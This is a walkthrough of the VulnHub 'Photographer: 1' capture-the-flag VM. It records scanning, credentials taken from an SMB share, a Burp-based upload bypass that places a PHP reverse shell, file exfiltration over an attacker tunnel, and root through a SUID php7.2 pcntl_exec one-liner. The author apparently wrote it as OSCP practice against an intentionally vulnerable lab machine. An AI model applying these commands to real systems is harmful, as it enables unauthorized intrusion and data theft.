Link to VM ~> https://www.vulnhub.com/entry/photographer-1,519/
Summary:
This box was _FANTASTIC_ as it exercises a number of disciplines. The author of the box @v1n1v131r4 (his website http://v1n1v131r4.com/) did a great job putting it together and I was able to sneak a non-spoiling hint out of him on twitter which I’ll get into in a little bit. I learned a couple new things on this box and in the end, that’s what I want here, to grow.
Let’s jump into it
Initial scans:
As always, I start with nmap. nmap 192.168.158.175 --top-ports=100 --open
As we can see from this output we have four ports open. Now I’m going to do a quick script scan on these to see what we can discover about them.
nmap 192.168.158.175 -p 80,139,445,8000 -sC
So a ton of information came out of this script scan. It looks like we have a couple webservers running and an SMB server. We’ll dig more into each here shortly but the first thing I want to do when I see webservers, is navigate to them in the browser and see what they each do.
I mean heck, for all we know one of these websites gives you a root access panel haha.
http://192.168.158.175
http://192.168.158.175:80000
So not a whole heck of a lot on these sites. The port 80 site is a default site and doesn’t appear to have any access points on it. The port 8000 webserver has content uploaded to it but it doesn’t look like there’s anything here that lets me upload.
We’ll have to dig deeper…
The next thing I want to do is start some nikto scans against these two sites to see what it can find. Nikto is fantastic and it’s my go to for any webserver.
Let’s look at the port 80 webserver first
It looks like there’s a few tasty things in the output here. Ignore the ip leakage the tool is producing a false positive with this one. However, there are some real things in here.
It appears that there’s directory listing enabled, this might be useful. Let’s check and see if it’s a real find.http://192.168.158.175/images/
As we hoped, directory listing is active on this server. Not super useful yet but it might be when we start trying to get a shell. Even if it’s not useful, we want to mark it down because the owner of the machine is going to want this in their report.
Let’s continue on for now though.
We are also able to determine the version of Apache here, 2.4.18 and the system is possibly running Ubuntu. This is something we want to add to our notes, it could be used as an exploit into the box.
The last thing that I see in this output that’s useful is the PHP allowing retrieval of source code via the -s parameter. The issue with this though is that none of the pages I could find on the webserver were php pages, so this isn’t helpful at the moment.
Now let’s look at the Nikto output from port 8000
Once again, a ton of great information returned here. It appears the same version of apache is running on this server. The really tasty thing here though is that we have an admin directory found. Let’s navigate to it in the browser and see what we get.
http://192.168.158.175:8000/admin/
Okay awesome, we have a login page. Can’t really do anything other than brute force it at the moment and that’s not really what I want to start doing just yet.
The other directories didn’t provide anything decent. So I guess it’s time to go take a look at that SMB service.
Getting a Shell
It looks like the web server is running Samba 4.3.11-ubuntu. This is good info and we’re going to save it in our notes. We might need this for exploitation later. We also see that nmap authenticated with the guest account.
Next I’m going to use smbclient in order to connect and see if there’s any shares I can access
smbclient -L //192.168.158.175 -U Guest
It looks like there’s three shares available. I tried each of them and the only one that looks like it has anything in it is sambashare
So let’s try connecting to sambashare with guest and no password
smbclient //guest/sambashare -I 192.168.158.175 -N
Nice! We’re in that samba share, and we found an email.
Despite being creepy af, this email gives us something we’ve been looking for, possible credentials.
daisa@photographer.com:babygirl
Let’s take these credentials back to the browser and see if we can now log into the web portal.
BOOM! We’re in!
Okay so this content page appears to be some kind of upload page. I bet we can sneak one past the goalie here.
There’s no shortage of tutorials on how to bypass image upload restrictions. I usually start with the easy ones like putting two extensions, adding a null byte between extensions and then move to more complex attacks like using burp suite.
For this particular image upload we have to use burp to bypass it. If you need help setting up burp there’s many tutorials but I’m going to assume you have burp wired up and set to intercept mode.
I start by creating a simple php script but giving it the png extension
echo "" > test.png;
and I use the browser to upload this image
When burp intercepts the request, I send it to repeater. In repeater we can see clearly the file name of test.png and the payload
The only thing we need to change here is the filename. We’re going to change it from test.png to test.php. Once you’ve done this you can hit send and follow the redirect.
Now that our file has been sent to the webserver, we can go check and see if it was actually uploaded by refreshing our admin page
As you can see, we now have a file uploaded. Let’s see if it executes.
At the top of the page, you’ll see a link that says site click this and then click on Content when the page loads in the center of the admin panel.
In here, you’ll see test.php listed, click it.
Finally, click Download File to see if it executes
It may be hard to see since the background is dark but if you highlight the text on the screen, you’ll see “It works” echoed out. So this means our php executed! Now let’s get the shell.
I had some trouble getting a shell using basic reverse shell commands. I really love Pentest Monkey’s Reverse Shell Cheat Sheet though in this specific scenario, I couldn’t get these to work. Instead I decided to use one of the built in webshells that kali ships with.
cp /usr/share/webshells/php/php-reverse-shell.php /home/kali/Desktop/rshell443.png
Don’t forget when you copy this file to change the extension to png
Now open up your copied version on the Desktop and change the IP address and Port to match your shell listener. You can setup a shell listener in another terminal with nc -lvp 443
The last step is to now upload our reverse shell via the web portal, intercept it and change the extension back to php
Once this is all done, you can now navigate to your shell in the web browser and execute it. If you did everything right, you should get a shell!
Now you may have noticed in the above screenshot that I actually ran mine on port 444. This is because I have a Shinobi Shell server running on port 443.
Shinobi Shell is a python client server model shell that makes a lot of the obnoxious tasks of privilege escalation effortless.
Just a few features of Shinobi Shell
- Setup an encrypted tunnel between shelled machine and attacking machine
- Exfil files with a single command
- Move exploits to shelled machine in a single command
- Loot storage
- Server can handle multiple shells at once
- much more
Shinobi Shell can be found here if you want to follow along. Otherwise you can do it the hard way 🙂
So now that I have my reverse shell I’m going to load shinobishell.py onto the target. Thankfully we have wget available to us. I could have also copied it onto the machine the way that we got our webshell up there.
cd /tmpwget https://raw.githubusercontent.com/DotNetRussell/ShinobiShell/master/ShinobiShell.pychmod +x ShinobiShell.py
before I can use Shinobi Shell I need a tty shell. Thankfully this is built in to the application./ShinobiShell.py -t
Finally I connect back to the shinobi server
./ShinobiShell.py -c
Privilege Escalation
Okay we have a shell. We’re currently the www-data user, let’s escalate.
Admittedly, this is probably the hardest thing for me to do. I always suck at priv esc. In fact after a few hours of looking at this box, I reached out to the author on twitter and he was nice enough to give me a non-spoiler hint. I’d like to first show you the steps I took.
To start, I go directly to the home directory and see what I can get into in there.
It appears there’s two users agi and daisa. When I list their home directories out, we see a ton of standard files.
It does look like we found user.txt in Daisa’s home directory, so that’s one of the two hashes. A quick save to the loot chest with loot store and now we can focus on the root hash.
Some other things that I would normally look at in the home directory would be .bash_history and any non-standard files. It doesn’t seem we have anything worth noting, so lets move on.
From here, I used Shinobi Shell to go get me linenum by typing linenum. Shinobi Shell connects back to my attack machine, makes a request to download the most current version of linenum from github and then sends it back over my tunnel to my target machine. From there we can run it and see what it yields.
Something new I learned about linenum is that there’s a -t flag that does a thorough check. I’m probably just going to run that always going forward, because, why not?
./linenum.sh -t
Once this completes, I exfil the output file back to my attacking machine in case I drop my shell.
exfil long_enum_output-07-08-20
The exfil command sends the file back over your shinobi tunnel back to your shinobi server box and saves it in what ever directory you’re running the server from.
I head back over to my attacking box and check the output to see what we can find.
This is where I got hung up for a while. Most vulnerable vm’s you find are too obvious and easy to solve. Even if the priv esc part is difficult to implement, it’s obvious what to attack. There will be one thing installed on the machine that isn’t standard, and that stands out like a sore thumb. It might be difficult to pop it, but it’s obvious that that’s the target.
I really like this box because it doesn’t do that.
This is where I needed to get a helpful hint from the author, @v1n1v131r4, on twitter to hint me what to look at. He told me look at the binaries.
It was at this point I knew the exploit was going to be in the suid binaries, I just didn’t know which one. I used this really great tool called SUID3NUM to weed this down incredibly quick.
First I downloaded the python script via the Shinobi Shell command download
download https://raw.githubusercontent.com/Anon-Exploiter/SUID3NUM/master/suid3num.py
This made my attacking machine download the script from github and send it back to my target machine over the shinobi tunnel and drop it in the working directory.
Once there I ran it and here are the results
PRETTY OBVIOUS AT THIS POINT WHERE TO GO
ROOT
This is where I’m still a little confused and I’m trying to find an answer here.
My first inclination was to run /usr/bin/php7.2 -r "shell_exec('/bin/bash -i');"
but this resulted in nothing 🙁
Then I started doing some research and came up with another way to execute shell commands in php.
pcntl_exec is another way to run shell commands and I’m still not sure what the difference is between this and shell_exec but I can tell you that it works to get root here lol
/usr/bin/php7.2 -r "pcntl_exec('/bin/sh',['-p']);"
Conclusion
This box was built to help prep for the OSCP and I can say that it is an honest reflection of what I encountered in the lab environment and when I (failed) my OSCP exam lol
Excellent work to the author and I hope that we get some more like this one.
I learned two new skills on this box. I always knew of smb I was never really able to use it until now. I also wasn’t aware of how to exploit suid binaries.
Two new tools for the toolbelt!
